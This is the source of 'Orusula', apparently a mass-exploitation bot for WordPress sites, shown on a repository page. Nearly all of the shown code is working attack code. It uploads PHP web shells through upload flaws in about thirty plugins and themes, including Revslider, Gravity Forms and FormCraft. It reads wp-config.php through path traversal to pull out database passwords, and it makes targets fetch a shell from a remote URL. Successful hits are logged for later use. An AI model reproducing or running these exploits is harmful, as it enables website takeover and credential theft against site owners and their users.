-
Notifications
You must be signed in to change notification settings - Fork 5
/
Orusula.py
1812 lines (1437 loc) · 59.9 KB
/
Orusula.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import requests
import datetime
from random import choice
from bs4 import BeautifulSoup
import multiprocessing
import threading
import os
import platform
import time
import argparse
import re
#time
now = datetime.datetime.now()
year = now.strftime('%Y')
month = now.strftime('%m')
day = now.strftime('%d')
hour = now.strftime('%H')
minute = now.strftime('%M')
sec = now.strftime('%S')
# files paths
shell_php = "shells/Orusula.php"
shell_html = "shells/Orusula.html"
shell_jpg = "shells/Orusula.jpg"
shell_txt = "shells/Orusula.txt"
shell_zip = "shells/Orusula.zip"
shell_gif = "shells/Orusula.gif"
# files Names
name_php = "Orusula.php"
name_html = "Orusula.html"
name_jpg = "Orusula.jpg"
name_zip = "Orusula.zip"
name_txt = "Orusula.txt"
name_gif = "Orusula.gif"
#colors
RED = "\033[1;31m"
BLUE = "\033[1;34m"
CYAN = "\033[1;36m"
GREEN = "\033[0;32m"
RESET = "\033[0;0m"
BOLD = "\033[;1m"
REVERSE = "\033[;7m"
YELLOW = '\033[33m'
HEADER = '\033[95m'
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)",
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0) Gecko/20100101 Firefox/15.0.1",
"Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8",
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01"
]
def version(cc):
print("")
print("%(prog)s ", cc)
print("\n")
print("{}[?] {}Source Code {}:{} http://github.com/BrahimJarrar/Orusula.git".format(HEADER, RED, YELLOW, BLUE))
print("{}[?] {}Coded By {}:{} Brahim Jarrar ".format(HEADER, RED, YELLOW, BLUE))
print("{}[?] {}CopyRight, 2019{}".format(HEADER, RED, RESET))
class logo():
banner = r"""{}
|
\ | /
\|/
_________________________ ---({}0{})--- _________________________
\__ \___/~/|\~\___/ __/
\__ / / | \ \ __/
\__ / | \ __/
\___________________/ \___________________/
\\\\\\\\\\\\\\\\/_____________\////////////////
/////|\\\\\
{} Orusula Bot {}by {}@BrahimJarrar
{}Started {}:{} {} {} {} - {}:{}
""".format(HEADER, RED, HEADER, BLUE, YELLOW, RED, GREEN, YELLOW, RESET, year, month, day, hour, minute)
exit = r"""
{}
.-.
.-""`""-. |(@ @)
_/`oOoOoOoOo`\_ \ \-/
'.-=-=-=-=-=-=-.' \/ \
`-=.=-.-=.=-' \ /\
^ ^ ^ _H_ \
{}Ended{} :{} {} {} {} - {}:{}
""".format(RED, BLUE, YELLOW, RESET, year, month, day, hour, minute)
def save(url):
f = open('Results/Goods.txt', 'a')
f.write(url+"\n")
f.close()
# add block
def addblockurl(target, headers):
try:
payload = {
'popimg': open(shell_php, 'rb')
}
tr = target+'/wp-admin/admin-ajax.php?action=getcountryuser&cs=2'
# sender
requests.post(tr, files=payload, headers=headers, allow_redirects=False)
new = target+'/wp-content/uploads/'+year+'/'+month+'/'+ name_php
rr = requests.get(new, headers=headers, allow_redirects=False)
if 'hacked' in rr.text:
print (GREEN," [+] AddBlockUrl ", new)
save(new)
else:
print (RED," [-] AddBlockUrl")
except requests.exceptions.ConnectionError:
print (RED," [-] AddBlockUrl")
# Wp blaze
def wp_blaze(target, headers):
try:
s = requests.session()
payload = {
'album_img':open(shell_php, 'rb'),
'task':'blaze_add_new_album',
'album_name':'',
'album_desc':''
}
tr = target + "/wp-admin/admin.php?page=blaze_manage"
content = s.post(tr,files=payload, data=payload, headers=headers, allow_redirects=False).text
check_blaze = re.findall(r"\/uploads\/blaze\/(.*?)\/big\/Orusula.php", content)
if check_blaze:
uploadfolder = check_blaze.group(1)
dump_data = target + "/wp-content/uploads/blaze/"+uploadfolder+"/big/Orusula.php"
print (GREEN,' [+] Blaze SlideShow ', dump_data)
save(dump_data)
else:
print (RED,' [-] Blaze SlideShow')
except requests.exceptions.ConnectionError:
print (RED,' [-] Blaze SlideShow')
# wp Catpro
def wp_catpro(target, headers):
try:
s = requests.session()
payload = {
'album_img':open(shell_php,'rb'),
'task':'cpr_add_new_album',
'album_name':'',
'album_desc':''
}
tr = target + "/wp-admin/admin.php?page=catpro_manage"
content = s.post(tr, files=payload, data=payload, headers=headers, allow_redirects=False)
content = content.text
check_catpro = re.findall(r"\/uploads\/blaze\/(.*?)\/big\/Orusula.php", content)
if check_catpro:
path = check_catpro.group(1)
dump_data = target + "/wp-content/uploads/catpro/"+path+"/big/"+name_php
print (GREEN,' [+] Catpro Plugin ', dump_data)
save(dump_data)
else:
print (RED,' [-] Catpro Plugin')
except requests.exceptions.ConnectionError:
print (RED,' [-] Catpro Plugin')
# dream work gallery
def dreamworkgallery(target, headers):
try:
s = requests.session()
tr = target + "/wp-admin/admin.php?page=dreamwork_manage"
payload = {'album_img':open(shell_php, 'rb')}
data = {
'task':'drm_add_new_album',
'album_name':'Arbitrary File Upload',
'album_desc':'Arbitrary File Upload'
}
resp = s.post(tr, files=payload, data=data, headers=headers)
text = resp.text
if "Orusula" in text:
try:
text = text.split("public_html")
result = target + text[-1]
print(GREEN," [+] DreamWork ", result)
save(result)
except:
print(RED," [-] DreamWork")
else:
print(RED," [-] DreamWork")
except requests.exceptions.ConnectionError:
print(RED," [-] DreamWork")
# FormCraft
def FormCraft(target, headers):
try:
payload = {
"files[]": open(shell_txt,'rb')
}
bad = "ERROR" or "failed" or "Not allowed"
tr = target + "/wp-content/plugins/formcraft/file-upload/server/content/upload.php"
path = target + "/wp-content/plugins/formcraft/file-upload/server/content/files/"
s = requests.session()
r = s.post(tr, files=payload, headers=headers, allow_redirects=False)
if r.status_code == 200:
if bad in r.text:
print("[-] FormCraft")
else:
if name_txt in r.text:
txt = r.text
txt = txt.split('"')
path = path + txt[9]
print(GREEN," [+] FormCraft ",path)
save(path)
else:
print(RED," [-] FormCraft")
else:
print(RED," [-] FormCraft")
except requests.exceptions.ConnectionError:
print(RED," [-] FormCraft")
# Gravity
def Gravity(target, headers):
try:
s = requests.session()
data = {
'form_id':'../../../',
'name':'Orusula.html',
'gform_unique_id':'../../',
'field_id':''
}
payload = {
'file':open(shell_html, 'rb')
}
ep = target+"/?gf_page=upload"
exploit = s.post(ep, headers=headers, files=payload, data=data)
text = exploit.text
if "Orusula.html" in text:
filename = text.split('temp_filename":"')
filename = payload[1]
filename = filename.split('"')[0]
print(GREEN," [+] Gravity Forms {}{}".format(target, filename))
result = target+filename
save(result)
else:
print(RED," [-] Gravity Forms")
except requests.exceptions.ConnectionError:
print(RED," [-] Gravity Forms")
# Right Now
def RightNow(target, headers):
try:
s = requests.session()
url = target+"/wp-content/themes/RightNow/includes/uploadify/upload_settings_image.php"
shell = open(shell_php, 'rb')
payload = {
'Filedata':shell,
}
r = s.post(url, headers=headers, files=payload, data=payload, allow_redirects=False)
r = r
RightNow= target+"/wp-content/uploads/settingsimages/"+name_php
rr = s.get(RightNow, headers=headers, allow_redirects=False)
if "Hacked by Orusula" in rr.text and rr.status_code == 200:
print(GREEN," [+] RightNow ", RightNow)
save(RightNow)
else:
shell1 = open(shell_gif, 'rb')
payload = {
'Filedata':shell1
}
r = s.post(url, headers=headers, files=payload, data=payload)
RightNow= target+"/wp-content/uploads/settingsimages/"+name_gif
rr = s.get(RightNow, headers=headers, allow_redirects=False)
if rr.status_code == 200 and "</script>" not in rr.text:
print(GREEN," [+] RightNow ", RightNow)
save(RightNow)
else:
print(RED," [-] RightNow ")
except requests.exceptions.ConnectionError:
print(RED," [-] RightNow ")
# job_manager
def job_manager(target, headers):
try:
s = requests.session()
shell = open(shell_php, 'rb')
payload = {
"files":shell,
"file[]":shell
}
tr = target + "/jm-ajax/upload_file/"
try:
conexao = s.get(tr, headers=headers, allow_redirects=False)
falha = "error" or "not found"
if "files" in conexao.text:
injetar = requests.post(tr, files=payload, headers=headers, allow_redirects=False)
if falha in injetar.text:
print(RED," [-] Job Manager")
else:
shl = target + "/wp-content/uploads/job-manager-uploads/files/"+year+"/"+month+"/"+name_php
shell_dir = requests.get(shl, headers=headers, allow_redirects=False)
if shell_dir.status_code == 200:
print(GREEN," [+] Job Manager ", shl)
save(shl)
else:
print(RED," [-] Job Manager")
else:
print(RED," [-] Job Manager")
except:
print(RED," [-] Job Manager")
except requests.exceptions.ConnectionError:
print(RED," [-] Job Manager")
# downloadsmanager
def downloadsmanager(target, headers):
try:
s = requests.session()
payload = {
"upfile" : open(shell_php, 'rb'),
"dm_upload" : ""
}
data = {
"dm_upload" : ""
}
scan = target+"/wp-content/plugins/downloads-manager/upload/"+name_php
s.post(target, headers=headers, files=payload, data=data)
rr = s.get(scan, headers=headers)
if "Hackedby Orusula" in rr.text:
print(GREEN," [+] downloadsmanager ", scan)
save(scan)
else:
print(RED," [-] downloadsmanager ")
except requests.exceptions.ConnectionError:
print(RED," [-] downloadsmanager ")
# wp levoslideshow
def wp_levoslideshow(target,headers):
try:
endpoint = target + "/wp-admin/admin.php?page=levoslideshow_manage"
shell = open(shell_php,'rb')
options = {
'album_img':shell,
'task' : 'lvo_add_new_album',
'album_name': '',
'album_desk': '',
}
send_shell = requests.post(endpoint,options,headers).text
check = re.findall("/uploads/levoslideshow/(.*?)/big/Orusula.php", send_shell)
if check:
dump_data = target + "/wp-content/uploads/levoslideshow/"+check.group(1)+"/big/"+name_php
print (GREEN,' [+] levoslideshow ', dump_data)
save(dump_data)
else:
print (RED,' [-] levoslideshow ')
except requests.exceptions.ConnectionError:
print (RED,' [-] levoslideshow ')
# pinboard
def pinboard(target, headers):
try:
s = requests.session()
pinboardup = {
'Filedata':open(shell_php, 'rb')
}
s.post(target+'/wp-content/themes/pinboard/themify/themify-ajax.php?upload=1', files=pinboardup, headers=headers)
pinboardlib = s.get(target+'/wp-content/themes/pinboard/uploads/'+name_php, headers=headers, allow_redirects=False)
if 'Hacked' in pinboardlib.text:
dump = target,'/wp-content/themes/pinboard/uploads/'+name_php
print(GREEN," [+] Pinboard ", dump)
save(dump)
else:
print(RED," [-] Pinboard ")
except requests.exceptions.ConnectionError:
print(RED," [-] Pinboard ")
# pitchprint
def pitchprint(target, headers):
try:
s = requests.session()
pitchprintup = {'files[]':open(shell_php, "rb")}
s.post(target+'/wp-content/plugins/pitchprint/uploader/', files=pitchprintup, headers=headers, allow_redirects=False)
path = target + "/wp-content/uploads/" + year + "/" + month + "/" + name_php
req = s.get(path, headers=headers, allow_redirects=False)
if 'Hacked' in req.text:
print(GREEN," [+] pitchprint ", path)
save(path)
else:
print(RED," [-] pitchprint")
except requests.exceptions.ConnectionError:
print(RED," [-] pitchprint")
# wp powerzoomer
def wp_powerzoomer(target, headers):
try:
s = requests.session()
tr = target + "/wp-admin/admin.php?page=powerzoomer_manage"
payload = {
'album_img':open(shell_php,'rb'),
'task':'pwz_add_new_album',
'album_name':'',
'album_desc':''
}
response = s.post(tr, files=payload, headers=headers, allow_redirects=False)
response = response.text
check_powerzoomer = re.findall(r"\/uploads\/powerzoomer\/(.*?)\/big\/Orusula.php", response)
if check_powerzoomer:
try:
uploadfolder = check_powerzoomer.group(1)
dump_data = target + "/wp-content/uploads/powerzoomer/"+uploadfolder+"/big/"+name_php
print (GREEN,' [+] Powerzoomer ' +dump_data + ' ')
save(dump_data)
except ValueError:
print (RED,' [-] Powerzoomer')
else:
print (RED,' [-] Powerzoomer')
except requests.exceptions.ConnectionError:
print (RED,' [-] Powerzoomer')
# Revslider Ajax
def Revslider_Ajax(target, headers):
try:
data = {
'action':'revslider_ajax_action',
'client_action':'update_plugin'
}
tr = "/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php"
try:
rp1 = requests.get(target+tr, headers=headers, allow_redirects=False)
a = rp1.text
if "define(" in a:
for item in a.split("\n"):
if """define('""" in item:
data = item.strip()
data = data[7:-2].replace("'", "").split(",")
if "DB_NAME" == data[0]:
DB_NAME = data[1]
elif "DB_USER" == data[0]:
DB_USER = data[1]
elif "DB_PASSWORD" == data[0]:
DB_PASSWORD = data[1]
print(GREEN," [+] Revslider Ajax = db_name:{} db_username:{} db_Pwd:{} ".format(DB_NAME,DB_USER,DB_PASSWORD))
result = target+" = db_name:{} db_username:{} db_Pwd:{} ".format(DB_NAME,DB_USER,DB_PASSWORD)
save(result)
else:
pass
else:
print(RED," [-] Revslider Ajax")
else:
print(RED," [-] Revslider Ajax")
except:
print(RED," [-] Revslider Ajax")
except requests.exceptions.ConnectionError:
print(RED," [-] Revslider Ajax")
# Revslider
def Revslider(target, headers):
try:
payload = {
'update_file':open(shell_php, "rb")
}
data = {
'action':'revslider_ajax_action',
'client_action':'update_plugin'
}
asu = ("/wp-content/revslider/temp/update_extract/revslider/")
exploit = target+'/wp-admin/admin-ajax.php'
s = requests.session()
exploit = s.post(exploit, headers=headers, files=payload, data=data)
checker = s.get(target+asu+name_php, headers=headers, allow_redirects=False)
url = (target+asu+shell_php)
if checker.status_code == 200 and 'Hacked' in checker.text:
print(GREEN," [+] Revslider {}" .format(url))
save(url)
else:
print (RED," [-] Revslider")
except requests.exceptions.ConnectionError:
print (RED," [-] Revslider")
# High Revslider Attack
def max_revslider(target, headers):
try:
s = requests.session()
url = target+"/wp-admin/admin-ajax.php"
r = s.get(url, headers=headers, allow_redirects=False)
if r.status_code == 200:
shell = open(shell_zip, "rb")
payload = {
'update_file':shell
}
data = {
'action':'revslider_ajax_action',
'client_action':'update_plugin'
}
r = s.post(url, headers=headers, data=data, files=payload)
url0 = target+"/wp-content/plugins/revslider/temp/update_extract/revslider/"+name_php
url1 = target+"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/"+name_php
url2 = target+"/wp-content/themes/striking_r/framework/plugins/revslider/temp/update_extract/revslider/"+name_php
url3 = target+"/wp-content/themes/IncredibleWP/framework/plugins/revslider/temp/update_extract/revslider/"+name_php
url4 = target+"/wp-content/themes/ultimatum/wonderfoundry/addons/plugins/revslider/temp/update_extract/revslider/"+name_php
url5 = target+"/wp-content/themes/medicate/script/revslider/temp/update_extract/revslider/"+name_php
url6 = target+"/wp-content/themes/centum/revslider/temp/update_extract/revslider/"+name_php
url7 = target+"/wp-content/themes/beach_apollo/advance/plugins/revslider/temp/update_extract/revslider/"+name_php
url8 = target+"/wp-content/themes/cuckootap/framework/plugins/revslider/temp/update_extract/revslider/"+name_php
url9 = target+"/wp-content/themes/pindol/revslider/temp/update_extract/revslider/"+name_php
url10 = target+"/wp-content/themes/designplus/framework/plugins/revslider/temp/update_extract/revslider/"+name_php
url11 = target+"/wp-content/themes/rarebird/framework/plugins/revslider/temp/update_extract/revslider/"+name_php
url12 = target+"/wp-content/themes/andre/framework/plugins/revslider/temp/update_extract/revslider/"+name_php
url0 = s.get(url0, headers=headers, allow_redirects=False, timeout=1)
url1 = s.get(url1, headers=headers, allow_redirects=False)
url2 = s.get(url2, headers=headers, allow_redirects=False)
url3 = s.get(url3, headers=headers, allow_redirects=False)
url4 = s.get(url4, headers=headers, allow_redirects=False)
url5 = s.get(url5, headers=headers, allow_redirects=False)
url6 = s.get(url6, headers=headers, allow_redirects=False)
url7 = s.get(url7, headers=headers, allow_redirects=False)
url8 = s.get(url8, headers=headers, allow_redirects=False)
url9 = s.get(url9, headers=headers, allow_redirects=False)
url10 = s.get(url10, headers=headers, allow_redirects=False)
url11 = s.get(url11, headers=headers, allow_redirects=False)
url12 = s.get(url12, headers=headers, allow_redirects=False)
if 'Hacked' in url0.text and url0.status_code != 404:
print(GREEN," [+] Revslider Max ", url0)
save(url0)
elif 'Hacked' in url1.text and url1.status_code != 404:
print(GREEN," [+] Revslider Max ", url1)
save(url1)
elif 'Hacked' in url2.text and url2.status_code != 404:
print(GREEN," [+] Revslider Max ", url2)
save(url2)
elif 'Hacked' in url3.text and url3.status_code != 404:
print(GREEN," [+] Revslider Max ", url3)
save(url3)
elif 'Hacked' in url4.text and url4.status_code != 404:
print(GREEN," [+] Revslider Max ", url4)
save(url4)
elif 'Hacked' in url5.text and url5.status_code != 404:
print(GREEN," [+] Revslider Max ", url5)
save(url5)
elif 'Hacked' in url6.text and url6.status_code != 404:
print(GREEN," [+] Revslider Max ", url6)
save(url6)
elif 'Hacked' in url7.text and url7.status_code != 404:
print(GREEN," [+] Revslider Max ", url7)
save(url7)
elif 'Hacked' in url8.text and url8.status_code != 404:
print(GREEN," [+] Revslider Max ", url8)
save(url8)
elif 'Hacked' in url9.text and url9.status_code != 404:
print(GREEN," [+] Revslider Max ", url9)
save(url9)
elif 'Hacked' in url10.text and url10.status_code != 404:
print(GREEN," [+] Revslider Max ", url10)
save(url10)
elif 'Hacked' in url11.text and url11.status_code != 404:
print(GREEN," [+] Revslider Max ", url11)
save(url11)
elif 'Hacked' in url12.text and url12.status_code != 404:
print(GREEN," [+] Revslider Max ", url12)
save(url12)
else:
print (RED," [-] Revslider Max")
else:
print (RED," [-] Revslider Max 404")
except requests.exceptions.ConnectionError:
print (RED," [-] Revslider Max Error")
except requests.exceptions.ReadTimeout:
print (RED," [-] Revslider Max timeout")
# dzs zoom sounds
def dzs_zoomsounds(target, headers):
try:
s = requests.session()
url = target+"/wp-content/plugins/dzs-zoomsounds/admin/upload.php"
dzsup = target+"/wp-content/plugins/dzs-zoomsounds/admin/upload/"+name_php
shell = open(shell_zip, "rb")
payload = {
'file_field':shell
}
dzsres = s.post(url, headers=headers, files=payload)
dzsres = dzsres # xD
time.sleep(0.1)
rr = s.get(dzsup, headers=headers, allow_redirects=False)
if rr.status_code == 200 and 'Orusula' in rr.text and 'Hacked' in rr.text:
print(GREEN," [-] dzs zoomsounds", dzsup)
save(dzsup)
else:
print(RED," [-] dzs zoomsounds")
except requests.exceptions.ConnectionError:
print(RED," [-] dzs zoomsounds")
# Cherry Plugin
def Cherry_Plugin(target, headers):
try:
s = requests.session()
shell = open(shell_php, "rb")
url = target+"/wp-content/plugins/cherry-plugin/admin/import-export/upload.php"
payload = {
'file':shell
}
r = s.post(url, headers=headers, files=payload, allow_redirects=False)
r = r
cherryup = target+"/wp-content/plugins/cherry-plugin/admin/import-export/"+name_php
rr = s.get(cherryup, headers=headers, allow_redirects=False)
if rr.status_code == 200 and 'Hacked by Orusula' in rr.text:
print(GREEN," [+] Cherry Plugin ", cherryup)
save(cherryup)
else:
print (RED," [-] Cherry Plugin")
except requests.exceptions.ConnectionError:
print (RED," [-] Cherry Plugin")
# wtffu
def wtffu(target, headers):
try:
s = requests.session()
url = target+"/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php"
shell = open(shell_php, "rb")
payload = {
'files[]':shell
}
r = s.post(url, headers=headers, files=payload)
r = r
wtffup = target+"/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/files/"+name_php
rr = s.get(wtffup, headers=headers, allow_redirects=False)
if 'Hacked' in rr.text:
print(GREEN," [+] wtff ", wtffup)
save(wtffup)
else:
print (RED," [-] wtff")
except requests.exceptions.ConnectionError:
print (RED," [-] wtff")
# woocommerce img
def woocommerce_img(target, headers):
try:
s = requests.session()
url = target+"/wp-content/plugins/woocommerce-product-options/includes/image-upload.php"
rr = s.get(url, headers=headers, allow_redirects=False)
if "woocommerce_product_options_image_upload" in rr.text and rr.status_code == 200:
print(GREEN," [+] woocommerce img ", url)
save(url)
else:
print (RED," [-] woocommerce img ")
except requests.exceptions.ConnectionError:
print (RED," [-] woocommerce img")
# Simple ads manager
def Simple_ads_manager(target, headers):
try:
s = requests.session()
url = target+"/wp-content/plugins/simple-ads-manager/sam-ajax-admin.php"
shell = open(shell_php, "rb")
payload = {
'uploadfile':shell
}
data = {
'uploadfile':shell,
'action' : 'upload_ad_image',
'path' : ''
}
r = s.post(url, headers=headers, files=payload, data=data)
if '{"status":"success"}' in r.text and r.status_code != 404:
sam = target+"/wp-content/plugins/simple-ads-manager/"+name_php
print(GREEN," [+] Simple ads manager ", sam)
save(sam)
else:
print(RED," [-] Simple ads manager ")
except requests.exceptions.ConnectionError:
print (RED," [-] Simple ads manager")
# satoshi
def satoshi(target, headers):
try:
satoshiup = {
'Filedata':open(shell_php, "rb")
}
requests.post(target+'/wp-content/themes/satoshi/functions/upload-handler.php', files=satoshiup, headers=headers)
path = target + "/wp-content/satoshi/images/" + name_php
satoshilib = requests.get(target+'/wp-content/satoshi/images/'+name_php, headers=headers, allow_redirects=False)
if 'Hacked by Orusula' in satoshilib.text and satoshilib.status_code == 200:
print(GREEN," [+] Satoshi ", path)
save(path)
else:
print(RED," [-] Satoshi ")
except requests.exceptions.ConnectionError:
print(RED," [-] Satoshi ")
# wp showbiz
def wp_showbiz(target,headers):
try:
endpoint = target + "/wp-admin/admin-ajax.php"
payload = {
"action":"showbiz_ajax_action",
"client_action":"update_plugin",
"update_file":open(shell_php,'rb')
}
requests.post(endpoint,files=payload,data=payload,headers=headers, allow_redirects=False)
dump_data = target + "/wp-content/plugins/showbiz/temp/update_extract/"+name_php
res=requests.get(dump_data, headers=headers, allow_redirects=False)
if "hacked" in res.text:
print (GREEN,' [+] Showbiz Pro ', dump_data)
save(dump_data)
else:
print (RED,' [-] Showbiz Pro')
except requests.exceptions.ConnectionError:
print (RED,' [-] Showbiz Pro')
# WP Mobile Detector
def WP_MOBILE_Detector(target,headers):
try:
s = requests.session()
shell = "https://raw.githubusercontent.com/BrahimJarrar/Orusula/master/shells/Orusula.php"
url = target+"/wp-content/plugins/wp-mobile-detector/resize.php?src="+shell
wpmdup = target+"/wp-content/plugins/wp-mobile-detector/cache/"+name_php
get = s.get(url, headers=headers, allow_redirects=False)
get = get
post = s.post(url, headers=headers, allow_redirects=False)
post = post
scan = s.get(wpmdup, headers=headers, allow_redirects=False)
if 'Hacked by Orusula' in scan.text and scan.status_code == 200:
print (GREEN,' [+] WP Mobile Detector ', wpmdup)
save(wpmdup)
else:
print (RED,' [-] WP Mobile Detector ')
except requests.exceptions.ConnectionError:
print (RED,' [-] WP Mobile Detector ')
# barclaycart
def barclaycart(target, headers):
try:
s = requests.session()
url = target+"/wp-content/plugins/barclaycart/uploadify/uploadify.php"
shell = open(shell_php,'rb')
payload = {
'Filedata':shell
}
r = s.post(url, headers=headers, files=payload)
r = r
path = target+"/wp-content/plugins/barclaycart/uploadify/"+name_php
rr = s.get(path, headers=headers, allow_redirects=False)
if "Hacked" in rr.text:
print(GREEN," [+] barclaycart ", path)
save(path)
else:
print(RED," [-] barclaycart")
except requests.exceptions.ConnectionError:
print(RED," [-] barclaycart")
# synoptic
def synoptic(target, headers):
try:
s = requests.session()
payload = {
'qqfile':open(shell_php, 'rb')
}
tr = target+"/wp-content/themes/synoptic/lib/avatarupload/upload.php"
exploit = s.post(tr, headers=headers, files=payload, allow_redirects=False)
exploit = exploit.text
path = target+"/wp-content/uploads/markets/avatars/"+name_php
check = s.get(path, headers=headers, allow_redirects=False)
text = check.text
if "Hacked by" in text:
print(GREEN," [+] synoptic ", path)
save(path)
else:
print(RED," [-] synoptic")
except requests.exceptions.ConnectionError:
print(RED," [-] barclaycart")
# wysija
def wysija(target, headers):
try:
s = requests.session()
Wysijaup = {
'my-theme':open(shell_zip, 'rb')
}
Wysijaapp = {
'action':'themeupload',
'submitter':'Upload',
'overwriteexistingtheme':'on',
'page':'GZNeFLoZAb'
}
url = target+'/wp-admin/admin-post.php?page=wysija_campaigns&action=themes'
rr = s.post(url, data=Wysijaapp, files=Wysijaup, headers=headers)
rr = rr
scan = target+'/wp-content/uploads/wysija/themes/Orusula/'+name_php
Wysijalib = requests.get(scan, headers=headers, allow_redirects=False)
if 'Hacked' in Wysijalib.text:
print(GREEN," [+] Wysija ",scan)
save(scan)
else:
print(RED," [-] Wysija ")
except requests.exceptions.ConnectionError:
print(RED," [-] Wysija ")
### Joomla exploits ###
